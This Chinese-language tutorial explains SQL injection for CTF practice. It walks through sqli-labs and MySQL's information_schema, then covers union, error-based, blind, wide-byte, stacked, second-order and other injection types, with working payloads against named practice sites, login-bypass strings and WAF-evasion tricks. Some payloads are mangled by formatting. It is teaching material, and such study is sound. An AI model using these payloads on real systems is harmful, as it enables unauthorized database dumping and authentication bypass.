环境相关

phpstudy:
https://www.xp.cn

sqli-labs:
https://github.com/Audi-1/sqli-labs

sublime:
https://www.sublimetext.com/

具体搭建方式可以参考网上的教程
这里提供看雪论坛的一个在线 sqli-labs:http://43.247.91.228:84/

数据库基础

数据在数据库中是按照表单的方式存储的,在 phpstudy 里面,可以很方便的打开 mysql 终端
(打开后输入默认密码 root)

image.png
image.png

使用 show databases; 命令可以查看所有的数据库名
我的存在数据库:information_schema,challenges,mysql,performance_schema,security,test,yichen

image.png
image.png

其中:information_schema 数据库是 MySQL 自带的,在 MySQL 中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。数据库里面几张重要的表的状态我放在这,如果后面涉及这几张表不太明白可以回来看一下

use yichen; 用来选择想要使用的数据库

image.png
image.png

使用 show tables; 来显示数据库中的所有数据表

image.png
image.png

使用 select * from yichen; 来查看数据表”yichen”中所有的数据信息

image.png
image.png

数据表:yichen 中一共有三列数据,列名分别是:id,name,age
如果想查看 yichen 表中 writeup 的年龄应该怎样那?
有两种简单的方法:
select age from yichen where name='writeup';
select age from yichen where id=2;
这里需要注意的是 name 字段属于字符串,所以需要用单引号引起来

那其实当我们访问一个网页上的时候比如 sqli-labs 的第一关:
?id=1 实际上就是去数据库里面查询 id=1 的时候的 name 和 password 列的值

image.png
image.png

补充一些关于 information_schema 数据库的数据表的信息:

SCHEMATA 表:提供了当前 mysql 中所有数据库的信息(主要用来查询数据库名(schema_name))

image.png
image.png

TABLES 表:提供了关于数据库中的表的信息(包括视图)(有点乱…)

image.png
image.png

在 phpmyadmin 里可以看的清楚点(主要用来查询数据表名 (table_name))

image.png
image.png

COLUMNS 表:提供了表中的列信息(主要用来查询字段名(column_name))

image.png
image.png

sql 注入原理

前面提到访问?id=1 的时候就是去数据库里查询 id=1 的字段的值,那么,当我不去正常访问 id=1 而是访问一个 id=1’会发生什么?报错了!

image.png
image.png

看报错的回显发现
您的 SQL 语法有误; 检查与您的 MySQL 服务器版本相对应的手册以获取正确的语法,以在第 1 行的’’1’’ LIMIT 0,1’附近使用
仔细看一下,’’1’’ LIMIT 0,1’,会发现单引号是这么配对的

image.png
image.png

也就是说我们输入的 1’ 去查询的时候出问题了,我们可以查看一下 less-1 的源代码,找到查询语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))//使用get方式接受一个参数id
{
$id=$_GET['id'];//把get得到的id的值赋给变量id

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//使用这条语句去查询
$result=mysql_query($sql);//把查询的结果给result这个变量
$row = mysql_fetch_array($result);//把结果变成了数组的形式

if($row)//如果得到结果就把他展示出来↓
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
}
else //没有得到结果就展示mysql操作产生的文本错误信息
{
print_r(mysql_error());
}
}

?>

我们只要关心这一句
SELECT * FROM users WHERE id='$id' LIMIT 0,1

把之前传入的 1' 带入 $id 看看结果
SELECT * FROM users WHERE id='1'' LIMIT 0,1

会发现传入的单引号把原本已经存在的那一个左单引号闭合掉了,那多出来的那一个右单引号就出了问题了

使用 and 1=1–+
mysql 中的注释有两种,一个是 --空格,一个是 #
sql 注入中的注释符的解释

'order by 4--+ 得到列数
order by 是用来排序的,后面可以跟着列数,比如 order by 1 是按照第一列来排序,当使用大于数据表有的列数的时候就肯定会报错了,这样就可以用来判断有几列

-1'union select 1,2,3--+ 联合查询,一般用来检查什么地方可以回显

image.png
image.png

显示出 2,3,说明这里 2 与 3 的位置会被打印出来,我们就可以把想要查询的放在这里两个位置让他显示给我们

这里介绍几个字符连接函数:

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
    因为我们查询到的数据不是只有一个,所以需要用连接函数把他们连接成一串才能显示出来

union select 1,group_concat(schema_name),3 from information_schema.schemata--+

这句话把查询到的 schema_name(数据库名) 连成了一串字符串在 name 的地方显示出来
从 information_schema 中的 schemata 这个表里面查询的,中间用 . 连接起来,所以上面那一条语句查询了所有数据库名并显示在 name(2) 的地方

image.png
image.png

那接下来只要替换 2 处的查询内容与后面的 from 的表就可以查询出所有的表名与列名了

查询所有表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image.png
image.png

查询所有列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image.png
image.png

那么已经知道所有的表名跟列名了,怎么去查询表中的数据呐?
union select 1,username,password from users where id=6--+

image.png
image.png

自己根据源代码尝试做一下前四关,语句基本一样,只要改一个地方就可以
源代码在解压出来的文件夹中的 Less 开头的里面的 index.php

image.png
image.png

hint:只需要注意这个地方就可以了

image.png
image.png

报错注入

相关函数

rand()产生 0-1 之间的随机数
floor()向下取整

原理讲解

假设有一个 users 表

user_id user_name password
1 yichen 6666666
2 chenaa 7777777
3 tttttest 8888888
4 flaggg 9999999

进行如下查询:
select count(),(concat(floor(rand(0)2),‘@’,(select version())))x from users group by x

floor(rand(0)*2)产生的结果为固定的 011011

进行 group by 时会产生一个新的虚拟表,group by 时他后面的语句会运算两次,(对比,插入)
刚开始虚拟表是空的:

x count(*)
Null Null

现在当去扫描原始表的第一项时 floor(rand(0)*2)第一次运算,结果为 0,当插入的时候会进行第二次运算这时候就变成了 1,插入后表的内容就变成了

x count(*)
1@5.7.19 1

当扫描第二项 floor(rand(0)2)得到 1,但是1@5.7.19已经存在了,不需要插入,只需要改 count()

x count(*)
1@5.7.19 2

扫描第三项时 floor(rand(0)2)得到 0,表中没有,需要插入,但是插入的时候进行了第二次运算,floor(rand(0)2)成了 1

但是虚拟表中已经有了1@5.7.19,x 作为主键,是不允许存在相同的,所以就报错了

其他函数介绍

extractvalue(1,concat(0x7e,(select @@version),0x7e))
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

上面两个需要传入 xpath 格式的字符串,但是传入的却不符合,但可以执行,所以报错

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
mysql 重复特性,此处重复了 version,所以报错,有些地方不管用

如果等号“=”被禁用了,可以使用 like 或<>替换,<>意思是不等于,在前面加上!意思就是等于,
如:
select 1,group_concat(tablem_name) where !(table_schema <> security)

例题

实验吧题目:http://ctf5.shiyanbar.com/web/baocuo/index.php

爆库:username=’and updatexml/&password=/(1,concat(0x23,database()),3) and ‘1

爆表:username=’and updatexml/&password=/(1,concat(0x23,(select group_concat(table_name)from information_schema.tables where !(table_schema<>database()))),3) and ‘1

爆列:username=’and updatexml/&password=/(1,concat(0x23,(select group_concat(column_name)from information_schema.columns where !(table_schema<>database()) and !(table_name<>’ffll44jj’) )),3) and ‘1

爆字段:username=’ or updatexml/&password=1/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or ‘

基于时间盲注

if 语句

If(ascii(substr(database(),1,1))>115,0,sleep(5))
if 判断语句,第一个参数(判断语句)为假,返回第三个参数 sleep(5),第一个参数为真,返回第二个参数 0
sleep 语句会等规定的秒数

(IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘true’)), false))
benchmark(count,expr)用来执行 expr 表达式 count 次数,执行一个函数若干次就会延长时间,这样就可以用来代替 sleep 函数
这种方法有个听着贼牛逼的名字:侧信道攻击

截取函数

substr(string,start,length) 查看 string 从第 start 开始的 length 位
substr(DATABASE(),1,1)>’a’ 数据库名第一位
substr(DATABASE(),1,2)>’ad’ 数据库名前两位

substring(str,start,len) 等价于 substring(str from start for len) 这样就可以不用逗号进行查询
防止逗号被过滤掉

substring_index(str,delim,count) 被截取的字段,关键字,关键字出现的次数
比如 substring_index(‘aaabbbccc’,’b’,2) b 出现第二次之前的东西

select case when 条件
select case when username=’admin’ then ‘aaa’ else(sleep(3)) end from user
在 if 判断中的逗号被过滤,用这个代替

例题

http://ctf5.shiyanbar.com/web/wonderkun/index.php
(题目环境崩了)

bool 型盲注

相关函数

mid(str,start,len)
left(str,len)
right(str,len)

例题

106.12.37.37:8080

宽字节注入

常见几个 url 转码

空格 %20 > ‘ %27 > # %23 > / %5C > %09 TAB 键(水平) > %0a 新建一行 > %0b TAB 键(垂直) > %0c 新的一页 > %0d return 功能 > *%a0 空格
*

php 函数 addslashes()

作用:使用反斜线引用字符串

对以下生效生效:

单引号:’ > 反斜线:/ > 双引号:” > 空值:NULL

它会在这些之前加上反斜线,这样单引号就是字符串里面的一个,而没有单引号在代码中的作用

如何逃逸?

  1. 在反斜线之前再加一个反斜线,这样就把反斜线给转义了
  2. 把反斜线弄没(即宽字节注入)

宽字节手工注入

原理

在 url 编码之后,如果%后面的两个字符的值(十六进制形式)超过了 128(ascii 码最大表示),会默认为 GBK 形式,而 Mysql 在进行编码是认为 GBK 形式两个字符才算一个汉字

例子

单引号被反斜线转义:
' --> \' --> %5C%27
当在单引号之前加上%aa 时
%aa' --> %aa\' --> ``%aa%5C``%27
会认为%aa%5C 是一对

实战

教程里会用到一些简单的 sql 手工注入知识,sqli-labs 靶场自己搭建一个环境,先做 1-4 应该就能明白他是在干啥
链接:https://pan.baidu.com/s/15yFzUt_wFFTqkckHvBAT8Q
提取码:a4oy

南邮新平台:https://cgctf.nuptsast.com/challenges
对应题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

爆库:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa' union select 1,group_concat(schema_name) from information_schema.schemata –+

爆表:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 –+

爆列:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x67626b73716c69 –+

爆字段:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa' union select 1,flag from gbksqli –+

基于约束的 SQL 攻击

原理

在 MySQL 进行数据插入的时候会把空格忽略掉,而且超过 30(也可能是别的数)个以后的也会舍弃
如果数据库中存在:
username:admin
password:password
再插入:
username:admin 空格*30 1
password:666
这样数据库里就会有以下数据:

username password
admin password
admin 666

虽然插入的时候用户名为 username:admin 空格*30 1
但是 MySQL 进行检索的时候会认为时 admin(忽略空格,忽略 30 字以后的)
这样就意味着可以自定义一个 admin 的密码进行登录

实战

bugku 题目:https://ctf.bugku.com/challenges#login1(SKCTF)

order_by 注入

order_by 语法格式

order_by {column_name[ASC|DESC]}[,n]
默认按照升序进行排序,在不知道列名的情况下可以通过列的序号代替相应的列
注意:order_by 不能运算,如 order_by 1+1 与 order_by 2 是不一样的

例题

http://chall.tasteless.eu/level1/index.php?dir=ASC

insert 注入

insert:插入

报错语法:(报错就能把数据库带出来)也能插进去。
insert into data1 (id,name,year) values (‘’,’attacker’ or updatexml(1,concat(0x7e,database()),0),10);

update:更新

报错语法:(报错就能把数据库带出来)
update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id =7;

delete:删除

(报错就能把数据库带出来)
delete from data1 where id =7 or updatexml(1,concat(0x7e,database()),0);

例题

http://chall.tasteless.eu/level15/index.php

DESC 注入

{describe|desc} tblname [col_name |wild]
describe 提供有关一个表的列信息。col_name 可以是一个列名或是一个包含 sql 通配符字符 “%”和“
”的字符串。

mysql 中反引号:`` 用于保留字符

例题:

web.jarvisoj.com:32794
提示:源码:http://web.jarvisoj.com:32794/index.php~

爆库:
http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1 offset 1

爆表:
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1

爆列:
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1

爆字段:
http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1 offset 1

二次注入

二次排序注入也成为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库 中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

堆叠注入

在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。在 ; 结束一个 sql 语句后继续构造下一条语句,会一起执行

2019 强网杯题目:随便注
inject=1'; rename tablewordstowords1;rename table1919810931114514towords;alter tablewordschangeflagidvarchar(50);#

rename tablewordstowords1; 把查询的表明改成 words1
rename table1919810931114514towords; 把希望查询的表明改成 words
alter tablewordschangeflagidvarchar(50);# 把 id 与 flag 值互换

万能密码:

常用:

admin’ #
‘+’
‘+’
0
Aaa’=’
原理:
单引号闭合,井号注释
select * from admin where username=’admin’ #‘ and password =’’

Mysql 里 select ‘aaaaa’+1 返回的是 1,会把单引号里面的当成 0
select * from admin where username=’’+’’ and password =’’+’’
*select \ from admin where username=0 and password =0
**都可以爆出数据

先 username=Aaa 为假,再与’ ‘比较为真
select * from admin where username=’Aaa’=’’ and password =’Aaa’=’’

sql 注入相关文件:A1-SQL 注入.txt

各数据库注入相关:https://www.netsparker.com/

注入 waf 绕过

绕过引号限制

– hex 编码
SELECT _ FROM Users WHERE username = 0x61646D696E
– char() 函数
SELECT _ FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT CONCAT_WS(‘’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。